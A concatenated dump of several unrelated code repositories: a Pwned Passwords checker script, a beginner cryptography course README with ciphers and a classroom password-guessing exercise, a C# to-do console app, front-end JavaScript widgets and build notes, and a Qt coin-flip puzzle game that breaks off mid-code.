<repo_name>morristech/scripts-5<file_sep>/find_pwnage.py #!/usr/bin/env python3 # Find password pwnage. Uses Troy Hunt’s Pwned Passwords service. # Input format: CSV file with 'Title' and 'Password' columns. # (Perfect for KeePassXC exports, for example) # Copyright © 2019, <NAME>. All rights reserved. # License: 3-clause BSD. import csv import hashlib import requests import time import sys found_breaches = 0 def progress(char='.'): sys.stderr.write(char) sys.stderr.flush() with open("passwords.csv") as fh: data = csv.DictReader(fh) for line in data: title = line['Title'] password = line['<PASSWORD>'] full_hash = hashlib.sha1(password.encode('utf-8')).hexdigest() hash_first, hash_last = full_hash[:5], full_hash[5:] r = requests.get("https://api.pwnedpasswords.com/range/" + hash_first) if hash_last in r.text: progress('!\n') print(title, password) found_breaches += 1 else: progress('.') time.sleep(1.6) print("\nFound", found_breaches, "breaches.") sys.exit(found_breaches)
6a9c27c0c8eb11c12bea01fd764f8846c008f82a
[ "Python" ]
1
Python
morristech/scripts-5
3f263621f1321f2dcbf00f6eff5b5e2af97f7a6a
9a53d5a3b997696045e795546c3c261d48f983f1
refs/heads/master
<repo_name>Julie789/Python-Summer-06<file_sep>/README.md # Practical Scripting with Python ## UNO Summer Techademy ### Cryptography Today we will be looking at Cryptography which is the art of making messages unreadable except by people who know the method of decrypting the secret message. There are many types of ciphers used historically and by people on the internet today. We are going to start with the historical ciphers first. ### Caesar Cipher The Caesar cipher is named after <NAME>, who, according to Suetonius, used it with a shift of three (A becoming D when encrypting, and D becoming A when decrypting) to protect messages of military significance. While Caesar's was the first recorded use of this scheme, other substitution ciphers are known to have been used earlier. [Code.org Caesar Cipher](https://studio.code.org/s/csp4-2019/stage/7/puzzle/2) ![Caesar Cipher Image](images/caesarCipher.png) #### CaesarCipher.py The program has the ability to encode a message. It does this by going through each letter in the message, finding that letter's location in the alphabet. Then the **key** value is added to the letter location. The letter of the new location is returned. If the letter is beyond the bounds of the alphabet, then it wraps around the front ***(Z + 2 = B)***. We are going to try to write the decode function. ### Vigenère Cipher The Vigenère cipher is similar to the Caesar cipher but the key shifts between each letter. This makes frequency analysis more difficult since the same letter in plaintext could be different letters in the cipher text. A keyword is used to give us the shifts. For example if the keyword were "KEY" then we would do a caesar shift of [10, 4, 24] that would be repeated for the duration of the message. [Code.org Vigenere Cipher](https://studio.code.org/s/csp4-2019/stage/8/puzzle/2) ![Vigenere Square Image](images/Vigenere_square.svg) #### VigenereCipher.py We will need to use the previous Caesar Cipher to complete the Vigenère Cipher. ### Substitution Cipher In a substitution cipher, the normal alphabet is substituted with a 1:1 mapping of a scrambled alphabet. This type of encryption can be attacked based on a frequency analysis to determine the original letters based on their frequency in the encrypted message vs. the frequency in the English language. - [Code.org Substitution Cipher](https://studio.code.org/s/csp4-2019/stage/7/puzzle/5) - [NSA Crypto Challenge](https://cryptochallenge.io/) ![Substitution Cipher Image](images/Substitution_cipher.jpg) #### SubstitutionCipher.py This has several functions to generate a "key". We will explore how we could utilize each of them. ### Enigma Machine The Enigma machine is an encryption device developed and used in the early- to mid-20th century to protect commercial, diplomatic and military communication. It was employed extensively by Nazi Germany during World War II, in all branches of the German military. ![Enigma Image](images/Enigma_image.jpg) #### Enigma.py We will look at how the Enigma Machine worked and try to add new rotors. [Enigma rotor details](https://en.wikipedia.org/wiki/Enigma_rotor_details) ### More Ciphers in Python https://inventwithpython.com/cracking/ ## Breaking Passwords Often on a computer server, there is a need to validate a user with a password. It is bad to store passwords in plain text because this database might be breached, at which point all of the passwords would be known. Instead of storing a password, we generally store a "hashed" password. This means that the server does not know client's password, but when given a password, it can hash it to see if the two match. ### HashDemo.py This program will let us see how a phrase or potential password could be "hashed" using different methods. ### Password Cracking To break a hashed password, we must try all different combinations of letters, hash them, and compare to the hashed password we have. This is how passwords are broken. If we do this work ahead of time, we can create something called a **Rainbow Table**. This requires a lot of storage. To break a password in real time, requires a lot of processing power. So there is a tradeoff between speed/storage. ###PasswordCracker.py There are 3 locked files. We have a program that can generate every possible password. We also know the following information about the password "rules" for each of the three locked files. - LockedFile1.py - We know the password is only 4 characters and only lowercase letters - LockedFile2.py - 4 characters long but mix of upper and lowercase letters - LockedFile3.py - Between 4-6 characters long, mix of upper, lowercase and symbols. <file_sep>/EncryptionTools.py import CaesarCipher import VigenereCipher import SubstitutionCipher import Enigma def main(): #Caesar Cipher message = input("Enter a message: ") key = int(input("Enter a key: ")) secret = CaesarCipher.encode(message, key) print ("Caesar Encrypted:", secret) #Vigenère Cipher #keyword = input("Enter keyword: ") #secret = VigenereCipher.encode(message, keyword) #print ("Vigenere Encrypted:", secret) #Substitution Cipher #key = input("Enter a key: ") #secret = SubstitutionCipher.encode(message, key) #print ("Substitution Encrypted:", secret) #Enigma Cipher #Enigma.setStart("A", "B", "C") #secret = Enigma.encode(message) #print ("Enigma Encrypted:", secret) main()
ffb7986fcd80952a987e0731aa697783e93d0be5
[ "Markdown", "Python" ]
2
Markdown
Julie789/Python-Summer-06
7ff0c3a7c9d51b04c707eddd4ce6a90a237838df
a5f3110c5a862cc74fa725735cbcc978acadc153
refs/heads/master
<repo_name>DaryaKalinina/ToDoListConsoleApp<file_sep>/ToDoListConsoleApp/Program.cs using System; using System.Collections.Generic; using System.IO; using System.Threading.Tasks; namespace ToDoListConsoleApp { class Program { static void Main(string[] args) { string fileName = "MyTasks"; List <string> listOfTasks = new List<string>(); do { Console.WriteLine("Главное меню:\n" + "Ознакомиться со списком задач - 1\n" + "Добавить новую задачу - 2\n" + "Найти задачу по тэгу - 3\n" + "Редактировать тэг задачи -4\n" + "Завершить задачу - 5\n" + "Выйти из планера - exit\n"); string a = Console.ReadLine(); if (a == "1") { GetTaskFromFile(fileName); } else if (a == "2") { string task = CreateTask(listOfTasks); WriteToFile(fileName, task); } else if (a == "3") { } else if (a == "4") { } else if (a == "5") { string selectedTask = FindTask(fileName); DateTime time = DateTime.Now; FinishTask(time); } } while (Console.ReadLine() != "exit"); } static string CreateTask(List<string> listOfTasks) { Console.WriteLine("Введите название задачи"); Task task = new Task(); task.Name = Console.ReadLine(); Console.WriteLine("Опишите задачу"); task.Description = Console.ReadLine(); Console.WriteLine("Установим тэг - да/нет?"); string answer = Console.ReadLine(); if (answer == "да") { Console.WriteLine("Введите тэг, который будет установлен к задаче"); string tag = Console.ReadLine(); task.AssignTag(tag); } else { task.GetInfo(); } string newTask = String.Format("Название задания: {0}\nОписание : {1}\nДата создания: {2} Тэг: {3} ", task.Name, task.Description, task.DateOfCreation, task.Tag); return newTask; } static void WriteToFile(string fileName, string newTask) { if (File.Exists(fileName) != true) { //проверяем есть ли такой файл, если его нет, то создаем using (StreamWriter sw = new StreamWriter(new FileStream(fileName, FileMode.Create, FileAccess.Write))) { sw.WriteLine(newTask); //добавляем в файл новую задачу sw.WriteLine("________________________________________________"); } } else { //если файл есть, то откываем его и пишем в него using (StreamWriter sw = new StreamWriter(new FileStream(fileName, FileMode.Open, FileAccess.Write))) { (sw.BaseStream).Seek(0, SeekOrigin.End); //идем в конец файла и пишем строку или пишем новое задание sw.WriteLine(newTask); sw.WriteLine("________________________________________________"); } } } static void GetTaskFromFile(string fileName) { try { //чтение файла string[] allText = File.ReadAllLines(fileName); //чтение всех строк файла в массив строк foreach (string s in allText) { //вывод всех строк на консоль Console.WriteLine(s); } } catch (FileNotFoundException e) { Console.WriteLine("Не найден файл"); } } static string FindTask(string fileName) { Console.WriteLine("Введите название задачи которую хотите найти"); string selectedName = Console.ReadLine(); return selectedName; } static void FinishTask(DateTime time) { } } } <file_sep>/ToDoListConsoleApp/Task.cs using System; using System.Collections.Generic; using System.Text; namespace ToDoListConsoleApp { class Task { //public int ID { get; set; } public string Name { get; set; } public string Description { get; set; } public string Tag { get; set; } public DateTime DateOfCreation { get; set; } public ItIsAlreadyDone Status { get; set; } public DateTime? DateOfCompletion { get; set; } public void GetInfo() { Console.WriteLine($"Название задания: {Name}\nОписание: {Description}\nТэг: {Tag}"); } public void AssignTag(string tag) { Tag = tag; } public enum ItIsAlreadyDone { Done, Performed } } }
a3b512132ee3585d689b9cd37893d2aa682acc05
[ "C#" ]
2
C#
DaryaKalinina/ToDoListConsoleApp
e7747545e670b89cda94dba86fe0cfa594dd33ef
3eed6506467af352010d5f3c04b724276f22f848
refs/heads/master
<repo_name>KitsenkoDmitry/VTWP<file_sep>/html/src/js/partials/btn_up.js const $upBtn = $('.js-btn-up'); if ($upBtn.length) { $(document).on('click', '.js-btn-up', () => { $('html, body').animate({ scrollTop: 0, }); }); $(window).on('scroll', () => { if ($(window).width() >= globalOptions.tabletLgSize) { $(window).scrollTop() > 50 ? $upBtn.show() : $upBtn.hide(); } }); } <file_sep>/html/src/template/category.html <div class="category @@if(className){@@className}"> <a href="/shop.html" class="category__all-link"> @@categoryAllText </a> <a href="/product.html" class="category__product"> <div class="category__product-pic"> <img data-src="@@picSrc" alt="" class="lazyload" /> </div> <div class="category__product-wrapper"> <p class="mb-0"><a href="javascript:;" class="category__product-company">@@brand</a></p> <div class="category__product-info"> <div class="category__product-left"> @@if(name){ <p class="category__product-name"><a href="/product.html">@@name</a></p> } @@if(desc){ <p class="category__product-desc"> <span class="category__product-desc-text">@@desc</span> @@if(inStock){<span class="category__product-instock">в наличии</span>} </p> } </div> <div class="category__product-right"> <p class="category__product-price">@@price ₽</p> <button class="link link--bernier" type="button">В корзину</button> </div> </div> </div> </a> </div> <file_sep>/html/src/js/partials/filter_modal.js const $filterModal = $('.js-filter-modal'); if ($filterModal.length) { $(document).on('click', '.js-filter-btn', e => { $filterModal.addClass('is-active').animateCss('slideInRight'); $('body').addClass('has-overlay'); }); $(document).on('click', '.js-filter-close', e => { $filterModal.animateCss('slideOutRight', () => { $filterModal.removeClass('is-active'); $('body').removeClass('has-overlay'); }); }); } <file_sep>/html/src/js/partials/tooltip.js /* @see https://atomiks.github.io/tippyjs/ */ const tooltipSettings = { arrow: false, allowHTML: false, animateFill: false, placement: 'right-center', distance: 20, theme: 'tooltip', }; /** * init all tooltips */ function initTooltips() { $('[data-tooltip]').each((index, elem) => { const localSettings = { content: $(elem).attr('data-tooltip'), }; if ($(elem).data('click')) { localSettings['trigger'] = 'click keyup'; localSettings['interactive'] = true; } tippy(elem, Object.assign({}, tooltipSettings, localSettings)); }); } initTooltips(); <file_sep>/html/src/js/partials/carousel.js initCarousels(); $(window).on('resize', initCarousels); // инициализирует все карусели function initCarousels() { // карусель на первом баннере на главной странице const $newsCarousel = $('.js-news-carousel'); if ($newsCarousel.length && !$newsCarousel.hasClass('slick-initialized')) { $newsCarousel.slick({ arrows: false, infinite: true, slidesToShow: 1, centerMode: false, variableWidth: true, mobileFirst: true, responsive: [ { breakpoint: 767, settings: { // infinite: false, }, }, { breakpoint: 1023, settings: 'unslick', }, ], }); } // карусель подбора байков const $bikesCarousel = $('.js-bikes-carousel'); if ($bikesCarousel.length && !$bikesCarousel.hasClass('slick-initialized')) { $bikesCarousel.slick({ arrows: false, infinite: true, slidesToShow: 1, centerMode: true, variableWidth: true, mobileFirst: true, responsive: [ { breakpoint: 767, settings: 'unslick', }, ], }); // check bike after init $bikesCarousel .find('.slick-active') .find('input') .prop('checked', true); // check bike after change $bikesCarousel.on('afterChange', () => { $bikesCarousel .find('.slick-active') .find('input') .prop('checked', true); }); } // карусель категорий const $categoriesCarousel = $('.js-categories-carousel'); if ($categoriesCarousel.length && !$categoriesCarousel.hasClass('slick-initialized')) { $categoriesCarousel.slick({ arrows: false, infinite: false, slidesToShow: 1, centerMode: true, centerPadding: '0', variableWidth: false, dots: true, mobileFirst: true, responsive: [ { breakpoint: 767, settings: 'unslick', }, ], }); } // карусель проектов и/или событий const $projectsCarousel = $('.js-projects-carousel'); if ($projectsCarousel.length && !$projectsCarousel.hasClass('slick-initialized')) { $projectsCarousel.slick({ arrows: false, infinite: false, slidesToShow: 1, centerMode: true, centerPadding: '0', variableWidth: false, dots: true, mobileFirst: true, responsive: [ { breakpoint: 767, settings: 'unslick', }, { breakpoint: 639, settings: { slidesToShow: 2, centerMode: false, }, }, ], }); } // карусель на главной const $indexMainCarousel = $('.js-index-main-carousel'); if ($indexMainCarousel.length && !$indexMainCarousel.hasClass('slick-initialized')) { $indexMainCarousel.slick({ arrows: false, infinite: false, slidesToShow: 1, centerMode: true, centerPadding: '0', variableWidth: false, dots: true, }); } // карусель картинок товара const $productCarousel = $('.js-product-carousel'); if ($productCarousel.length && !$productCarousel.hasClass('slick-initialized')) { $productCarousel.slick({ arrows: true, infinite: false, slidesToShow: 1, prevArrow: '<button type="button" class="btn-arrow btn-arrow--prev product-page__carousel-prev"><svg class="icon icon--arrow-next"><use xlink:href="#icon-arrow_next"></use></svg></button>', nextArrow: '<button type="button" class="btn-arrow product-page__carousel-next"><svg class="icon icon--arrow-next"><use xlink:href="#icon-arrow_next"></use></svg></button>', dots: false, responsive: [ { breakpoint: 768, settings: { arrows: false, dots: true, }, }, ], }); $productCarousel.on('afterChange', (slick, currentSlide) => { const $parent = $(slick.currentTarget).closest('.product-page__carousel-wrapper'); $parent.find('.product-page__carousel-btns-pic').removeClass('is-active'); $parent.find(`[data-slide=${currentSlide.currentSlide}]`).addClass('is-active'); }); // реализовываем переключение слайдов $(document).on('click', '.product-page__carousel-btns-pic', e => { const $btn = $(e.currentTarget); const $parent = $btn.closest('.product-page__carousel-wrapper'); const $productCarousel = $parent.find('.js-product-carousel'); const slideId = $btn.data('slide'); $parent.find('.product-page__carousel-btns-pic').removeClass('is-active'); $btn.addClass('is-active'); $productCarousel.slick('slickGoTo', slideId); }); } // карусель похожих товаров const $similarCarousel = $('.js-similar-carousel'); if ($similarCarousel.length && !$similarCarousel.hasClass('slick-initialized')) { $similarCarousel.slick({ arrows: false, infinite: false, slidesToShow: 1, centerMode: true, centerPadding: '0', variableWidth: false, dots: true, mobileFirst: true, responsive: [ { breakpoint: 639, settings: 'unslick', }, ], }); } // карусель картинок const $pictureCarousel = $('.js-picture-carousel'); if ($pictureCarousel.length && !$pictureCarousel.hasClass('slick-initialized')) { $pictureCarousel.slick({ arrows: false, infinite: false, slidesToShow: 1, slidesToScroll: 1, variableWidth: true, }); } const $bikeCardCarousel = $('.js-bike-card-carousel'); if ($bikeCardCarousel.length && !$bikeCardCarousel.hasClass('slick-initialized')) { $bikeCardCarousel.each((index, item) => { $(item).slick({ slidesToScroll: 1, slidesToShow: 1, arrows: false, dots: false, fade: true, responsive: [ { breakpoint: 767, settings: { fade: false, dots: true, }, }, ], }); }); // реализовываем переключение слайдов $(document).on('click', '.js-bike-card-slide-btn', e => { const $btn = $(e.currentTarget); const $parent = $btn.closest('.bike-card'); const $carousel = $parent.find('.js-bike-card-carousel'); const slideId = $btn.data('slide'); $parent.find('.js-bike-card-slide-btn').removeClass('is-active'); $btn.addClass('is-active'); $carousel.slick('slickGoTo', slideId); }); } // карусель картинок товара const $picturesCarousel = $('.js-pictures-carousel'); if ($picturesCarousel.length && !$picturesCarousel.hasClass('slick-initialized')) { $picturesCarousel.slick({ arrows: true, infinite: false, variableWidth: true, prevArrow: '<button type="button" class="btn-arrow btn-arrow--prev pictures__carousel-btn-prev"><svg class="icon icon--arrow-next"><use xlink:href="#icon-arrow_next"></use></svg></button>', nextArrow: '<button type="button" class="btn-arrow pictures__carousel-btn-next"><svg class="icon icon--arrow-next"><use xlink:href="#icon-arrow_next"></use></svg></button>', dots: false, responsive: [ { breakpoint: 768, settings: { arrows: false, dots: true, variableWidth: false, }, }, ], }); $picturesCarousel.on('afterChange', (slick, currentSlide) => { const $parent = $(slick.currentTarget).closest('.pictures'); $parent.find('.pictures__thumbs-item').removeClass('is-active'); $parent.find(`[data-slide=${currentSlide.currentSlide}]`).addClass('is-active'); }); // реализовываем переключение слайдов $(document).on('click', '.pictures__thumbs-item', e => { const $btn = $(e.currentTarget); const $parent = $btn.closest('.pictures'); const $picturesCarousel = $parent.find('.js-pictures-carousel'); const slideId = $btn.data('slide'); $parent.find('.pictures__thumbs-item').removeClass('is-active'); $btn.addClass('is-active'); $picturesCarousel.slick('slickGoTo', slideId); }); $('[data-fancybox="pictures"]').fancybox({}); } } <file_sep>/html/README.md # Должно быть установлено node.js - https://nodejs.org/ + npm gulp - сборщик npm i gulp-cli -g yarn - пакетный менеджер. Все зависимости устанавливаем через него. см. доку https://yarnpkg.com/en/docs/install # Директории * рабочая директория: /html/src/ * результат development: /html/build/ * результат production: /public/assets/build/ ## Зависимости и запуск В директории /html/ ```bash yarn install gulp или yarn dev ``` Запустится сервер http://localhost:3000 ## Сборка Настроено 2 сборки, development и production. **development** - дефолтная, запускается при выполнении команды gulp или yarn dev, при этом запускается сервер http://localhost:3000. Собирается в /html/build/. **production** - запускается при выполнении команды yarn prod или gulp --env=prod. Собирается в /public/assets/build/ этот путь можно менять в /gulp/config.js. Так же в production есть минификация стилей и js. ### ВАЖНО **!!** Ни чего не меняем руками в папке build. Также **можно запускать отдельно нужные таски сборки**, например: **Список всех тасков** (все таски, кроме html, watch и serve, доступны с параметром --env=prod): Список всех тасков можно посмотреть так: ```bash gulp --tasks ``` * gulp (запускает сервер со статикой http://localhost:3000, делает полную сборку и запускает watch) * gulp build (делает полную сборку) * gulp clean (удаляет содержимое папки build) * gulp watch (мониторит все изменения и запускает нужные таски) * gulp postcss * gulp postcssInternal * gulp postcssExternal * gulp js * gulp jsInternal * gulp jsExternal * gulp images * gulp cleanSvgSprite * gulp generateSvgSprite * gulp copySvgSprite * gulp fonts * gulp html * gulp serve Вся работа (до и после интеграции) ведется в /html/src/ # Что есть **px to rem** - автоматически заменяет пиксели на rem в размерах шрифтов **precss** - включает поддержку возможностей SASS **sassy-mixins** - позволяет использовать миксины как написанные на sass, так и postcss **postcss-next** - позволяет использовать CSS4 http://cssnext.io/features/ **animate.css** - классы для разнообразных анимаций https://github.com/daneden/animate.css/ **gulp-file-include** - используется для "шаблонизации", позволяет импортировать один файл в другой с передачей каких-либо параметров см. https://www.npmjs.com/package/gulp-file-include **browsersync** - вебсервер. **lazysizes** - lazy loading для картинок. Использовать вместо src у тега img – data-src! **gulp-svg-sprites** - генерит svg спрайт из файлов /src/img/svg/sprite/*.svg см. https://github.com/shakyshane/gulp-svg-sprites Использование: ``` <svg class="icon icon--load"><use xlink:href="#icon-load"></use></svg> ``` **postcss-inline-svg** - позволяет вставлять инлайн svg в css, к сожалению без возможности использовать transition см. https://github.com/TrySound/postcss-inline-svg !!Внимание: использовать данный плагин только при сильной необходимости, в остальном использовать svg спрайт, иначе слиьно раздувает итоговый css файл. использование в css: ``` background-image: svg-load('load.svg', fill=#f00); ``` <file_sep>/html/src/cart_page_empty.html @@include('template/head.html') <body> @@include('template/old_ie_update.html') @@include('img/svg/sprite.svg') @@include('template/header.html', { "isUiKit": false, "isIndexPage": false, "isCartActive": false, "activeLink": false, "className": false, "className": false }) <main class="wrap-main"> <div class="container"> <h1>Корзина</h1> <p>В корзине нет товаров</p> </div> </main> @@include('template/footer.html') @@include('template/foot.html') </body> </html> <file_sep>/html/src/js/partials/collapse.js // используется только на странице checkout.html if ($('.js-collapse-btn').length) { $(document).on('click', '.js-collapse-btn', e => { const $self = $(e.currentTarget); const $collapseBody = $self.closest('.js-collapse').find('.js-collapse-body'); if ($self.hasClass('is-active')) { $self.removeClass('is-active'); $collapseBody.slideUp('fast'); } else { $self.addClass('is-active'); $collapseBody.slideDown('fast'); } }); } <file_sep>/html/src/js/partials/helpers.js // Небольшие вспомогательные функции /** * Проверяет число или нет * * @param {*} n Любой аргумент * @returns {boolean} */ function isNumeric(n) { return !isNaN(parseFloat(n)) && isFinite(n); } /** * Удаляет все нечисловые символы и приводит к числу * * @param {str|number} param * @returns {number} */ function removeNotDigits(param) { /* удаляем все символы кроме цифр и переводим в число */ return +param.toString().replace(/\D/g, ''); } /** * Разделяет на разряды * Например, 3800000 -> 3 800 000 * * @param {str|number} param * @returns {str} */ function divideByDigits(param) { if (param === null) param = 0; return param.toString().replace(/(\d)(?=(\d\d\d)+([^\d]|$))/g, '$1 '); } <file_sep>/html/src/js/partials/spinner.js /** * Активировать/дезактивировать спиннер * const $block = $('.spinner'); * const spinner = Spinner.getInstance($block); * spinner.enableSpinner();/spinner.disableSpinner(); * */ class Spinner { /** * @param {Object} options Объект с параметрами. * @param {jQuery} options.$block Шаблон. * @param {number} [options.value = 0] Начальное значение. * @param {number} [options.min = -Infinity] Минимальное значение. * @param {number} [options.max = Infinity] Максимальное значение. * @param {number} [options.step = 1] Шаг. * @param {number} [options.precision] Точность (нужна для десятичного шага). */ constructor({ $block, value = 0, min = -Infinity, max = Infinity, step = 1, precision } = {}) { this.$block = $block; this.elements = { $dec: $('.spinner__btn--dec', this.$block), $inc: $('.spinner__btn--inc', this.$block), $input: $('.spinner__input', this.$block), }; this.value = +value; this.min = +min; this.max = +max; this.step = +step; this.precision = +precision; } /** * Приводит разметку в соответствие параметрам. */ init() { this.updateButtons(); } /** * Обновляет состояние блокировки кнопок. */ updateButtons() { this.elements.$dec.prop('disabled', false); this.elements.$inc.prop('disabled', false); if (this.value < this.min + this.step) { this.elements.$dec.prop('disabled', true); } if (this.value > this.max - this.step) { this.elements.$inc.prop('disabled', true); } } /** * Отключение спиннера. */ disableSpinner() { this.elements.$dec.prop('disabled', true); this.elements.$inc.prop('disabled', true); this.elements.$input.prop('disabled', true); this.$block.addClass('is-disabled'); } /** * Включение спиннера. */ enableSpinner() { this.init(); this.elements.$input.prop('disabled', false); this.$block.removeClass('is-disabled'); } /** * Обновляет значение счётчика. * * @param {number} value Новое значение. */ changeValue(value) { this.value = value; this.$block.attr('data-value', value); this.elements.$input.attr('value', value); this.elements.$input.val(value); } /** * Меняет значение минимума. * * @param {number} value Новое значение. */ changeMin(value) { this.min = value; this.$block.attr('data-min', value); } /** * Меняет значение максимума. * * @param {number} value Новое значение. */ changeMax(value) { this.max = value; this.$block.attr('data-max', value); } /** * Массив созданных объектов. */ static instances = []; /** * Находит объект класса по шаблону. * * @param {jQuery} $block Шаблон. * @return {Spinner} Объект. */ static getInstance($block) { return Spinner.instances.find(spinner => spinner.$block.is($block)); } /** * Создаёт объекты по шаблонам. * * @param {jQuery} [$spinners = $('.spinner')] Шаблоны. */ static create($spinners = $('.spinner')) { $spinners.each((index, block) => { const $block = $(block); if (Spinner.getInstance($block)) return; const spinner = new Spinner({ $block, value: $block.attr('data-value'), min: $block.attr('data-min'), max: $block.attr('data-max'), step: $block.attr('data-step'), precision: $block.attr('data-precision'), }); $block.hasClass('is-disabled') ? spinner.disableSpinner() : spinner.init(); Spinner.instances.push(spinner); }); } /** * Удаляет объекты по шаблонам. * * @param {jQuery} [$spinners = $('.spinner')] Шаблоны. */ static remove($spinners = $('.spinner')) { $spinners.each((index, block) => { const $block = $(block); const spinnerIndex = Spinner.instances.findIndex(spinner => spinner.$block.is($block)); Spinner.instances.splice(spinnerIndex, 1); }); } } $(document).on('click', '.spinner__btn--dec', handleDecClick); $(document).on('click', '.spinner__btn--inc', handleIncClick); $(document).on('input', '.spinner__input', handleInput); /* Инициализация спиннеров */ let spinners = Spinner.create(); /** * Обработчик клика по кнопке уменьшения. * * @param {Object} e Объект события. */ function handleDecClick(e) { const { currentTarget } = e; const $target = $(currentTarget); const $block = $target.closest('.spinner'); const spinner = Spinner.getInstance($block); let value = spinner.value - spinner.step; if (spinner.precision) { value = parseFloat(value.toFixed(spinner.precision)); } spinner.changeValue(value); spinner.updateButtons(); } /** * Обработчик клика по кнопке увеличения. * * @param {Object} e Объект события. */ function handleIncClick(e) { const { currentTarget } = e; const $target = $(currentTarget); const $block = $target.closest('.spinner'); const spinner = Spinner.getInstance($block); let value = spinner.value + spinner.step; if (spinner.precision) { value = parseFloat(value.toFixed(spinner.precision)); } spinner.changeValue(value); spinner.updateButtons(); } /** * Обработчик ввода в поле. * * @param {Object} e Объект события. */ function handleInput(e) { const { currentTarget } = e; const $target = $(currentTarget); const $block = $target.closest('.spinner'); const spinner = Spinner.getInstance($block); const { $input } = spinner.elements; let value = +$input.val(); if (!$input.val().length || value < spinner.min || value > spinner.max) { ({ value } = spinner); } spinner.changeValue(value); spinner.updateButtons(); } <file_sep>/html/src/js/partials/datepicker.js const datepickerDefaultOptions = { dateFormat: 'dd.mm.yy', showOtherMonths: true, }; /** * Делает выпадющие календарики * @see http://api.jqueryui.com/datepicker/ * * @example * // в data-date-min и data-date-max можно задать дату в формате dd.mm.yyyy * <input type="text" name="dateInput" id="" class="js-datepicker" data-date-min="06.11.2015" data-date-max="10.12.2015"> */ let Datepicker = function() { const datepicker = $('.js-datepicker'); datepicker.each(function() { let minDate = $(this).data('date-min'); let maxDate = $(this).data('date-max'); const showMY = $(this).data('show-m-y'); /* если в атрибуте указано current, то выводим текущую дату */ if (maxDate === 'current' || minDate === 'current') { const currentDate = new Date(); let currentDay = currentDate.getDate(); currentDay < 10 ? (currentDay = '0' + currentDay.toString()) : currentDay; const newDate = currentDay + '.' + (currentDate.getMonth() + 1) + '.' + currentDate.getFullYear(); maxDate === 'current' ? (maxDate = newDate) : (minDate = newDate); } let itemOptions = { minDate: minDate || null, maxDate: maxDate || null, onSelect: function() { $(this).change(); $(this) .closest('.field') .addClass('is-filled'); }, }; if (showMY) { itemOptions['changeYear'] = true; itemOptions['yearRange'] = 'c-100:c'; itemOptions['changeMonth'] = true; } $.extend(true, itemOptions, datepickerDefaultOptions); $(this).datepicker(itemOptions); }); // делаем красивым селек месяца и года $(document).on('focus', '.js-datepicker', () => { // используем задержку, чтобы дейтпикер успел инициализироваться setTimeout(() => { if ($('.ui-datepicker').find('select').length) { $('.ui-datepicker') .find('select') .select2({ selectOnBlur: true, dropdownCssClass: 'error', minimumResultsForSearch: Infinity, }); } }, 10); }); }; let datepicker = new Datepicker(); <file_sep>/html/.prettierrc.js module.exports = { /* Ширина строки больше стандартной (80), т.к. используются 4 пробела вместо 2. */ printWidth: 120, /* Отдаётся предпочтение одинарным кавычкам. */ singleQuote: true, /* Tab равен 4 пробелам. */ tabWidth: 4, /* Запятые после последнего элемента ставятся везде кроме аргументов функций (ES2017). */ trailingComma: 'es5', };
d24707a522563b2ff934c6fbb8412c0a71510a05
[ "JavaScript", "HTML", "Markdown" ]
12
JavaScript
KitsenkoDmitry/VTWP
35f0e8c06c2d77761ccef2816c630760f4836839
4969ce5070f9886bb542d247fc41467c010a419b
refs/heads/master
<file_sep>#include "PlayScene.h" #include <QDebug> #include <QPainter> #include <QMenuBar> #include "MyPushButton.h" #include <QTimer> #include <QLabel> #include "MyCoin.h" #include "dataconfig.h" #include <QPropertyAnimation> #include <QSound> #include <iostream> //PlayScene::PlayScene(QWidget *parent) : QMainWindow(parent) //{ //} PlayScene::PlayScene(int levelNum){ QString str = QString("level %1 selected").arg(levelNum); qDebug() << str; this->levelIndex = levelNum; this->setFixedSize(320*2, 588*2); this->setWindowIcon(QIcon(":/res/Coin0001.png")); this->setWindowTitle("Play Scene"); QMenuBar* bar = menuBar(); //QMenuBar* bar = new QMenuBar; bar->setParent(this); QMenu* startMenu = bar->addMenu("开始"); QAction* quitAction = startMenu->addAction("退出"); connect(quitAction, &QAction::triggered, [=](){ this->close(); }); MyPushButton* backBtn = new MyPushButton(":/res/BackButton.png", ":/res/BackButtonSelected.png"); //backBtn->resize(QSize(backBtn->width()*5, backBtn->height()*5)); backBtn->setParent(this); backBtn->move(this->width()-backBtn->width(), this->height()-backBtn->height()); //mainScene = new MainScene; QSound* backSound = new QSound(":/res/BackButtonSound.wav"); QSound* winSound = new QSound(":/res/LevelWinSound.wav"); QSound* flipSound = new QSound(":/res/ConFlipSound.wav"); connect(backBtn, &MyPushButton::clicked, [=](){ //mainScene->show(); // QTimer::singleShot(200, this, [=](){ // emit this->chooseSceneBack(); // this->hide(); // }); //qDebug() << "clicked"; backSound->play(); QTimer::singleShot(200, this, [=](){ qDebug() << "clicked"; emit this->chooseSceneBack(); //this->hide(); 为什么这个hide出来会报错而ChooseLevelScene返回不会。 }); }); QLabel* label = new QLabel; label->setParent(this); QFont font; font.setFamily("Times New Roman"); font.setPointSize(20); label->setFont(font); QString str1 = QString("Level: %1").arg(this->levelIndex); qDebug() << str1; label->setText(str1); label->setGeometry(30, this->height()-50, 240, 50); dataConfig cfig; for(int i=0; i<4; i++){ for(int j=0; j<4; j++){ this->gameArray[i][j] = cfig.mData[levelNum][i][j]; } } for(int i=0; i<4; i++){ for(int j=0; j<4; j++){ QLabel *label = new QLabel; label->setGeometry(0,0, 100, 100); QPixmap pmp = QPixmap(":/res/BoardNode(1).png"); pmp = pmp.scaled(pmp.width()*2, pmp.height()*2); label->setPixmap(pmp); label->setParent(this); label->move(57*2+100*i, 200*2+j*100); QString str; if(gameArray[i][j]==1){ str = ":/res/Coin0001.png"; } else{ str = ":/res/Coin0008.png"; } MyCoin* coin = new MyCoin(str); coin->setParent(this); coin->move(59*2+100*i, 204*2+j*100); //coin->show(); coin->posX = i; coin->posY = j; coin->flag = this->gameArray[i][j]; this->coinBtn[i][j] = coin; QLabel* winLabel = new QLabel; QPixmap winPix; winPix.load(":/res/LevelCompletedDialogBg.png"); winPix = winPix.scaled(winPix.width()*2, winPix.height()*2); winLabel->setGeometry(0, 0, winPix.width(), winPix.height()); winLabel->setPixmap(winPix); winLabel->setParent(this); winLabel->move((this->width()-winPix.width())*0.5, -winPix.height()); connect(coin, &MyCoin::clicked, [=](){ flipSound->play(); coin->changeFlag(); this->gameArray[i][j] = !this->gameArray[i][j]; //btn banned while one coin clip; for(int i=0; i<4; i++){ for(int j=0; j<4; j++){ this->coinBtn[i][j]->isWin = 1; } } QTimer::singleShot(300, this, [=](){ if(coin->posX+1<=3) { coinBtn[coin->posX+1][coin->posY]->changeFlag(); this->gameArray[coin->posX+1][coin->posY] = !this->gameArray[coin->posX+1][coin->posY]; } 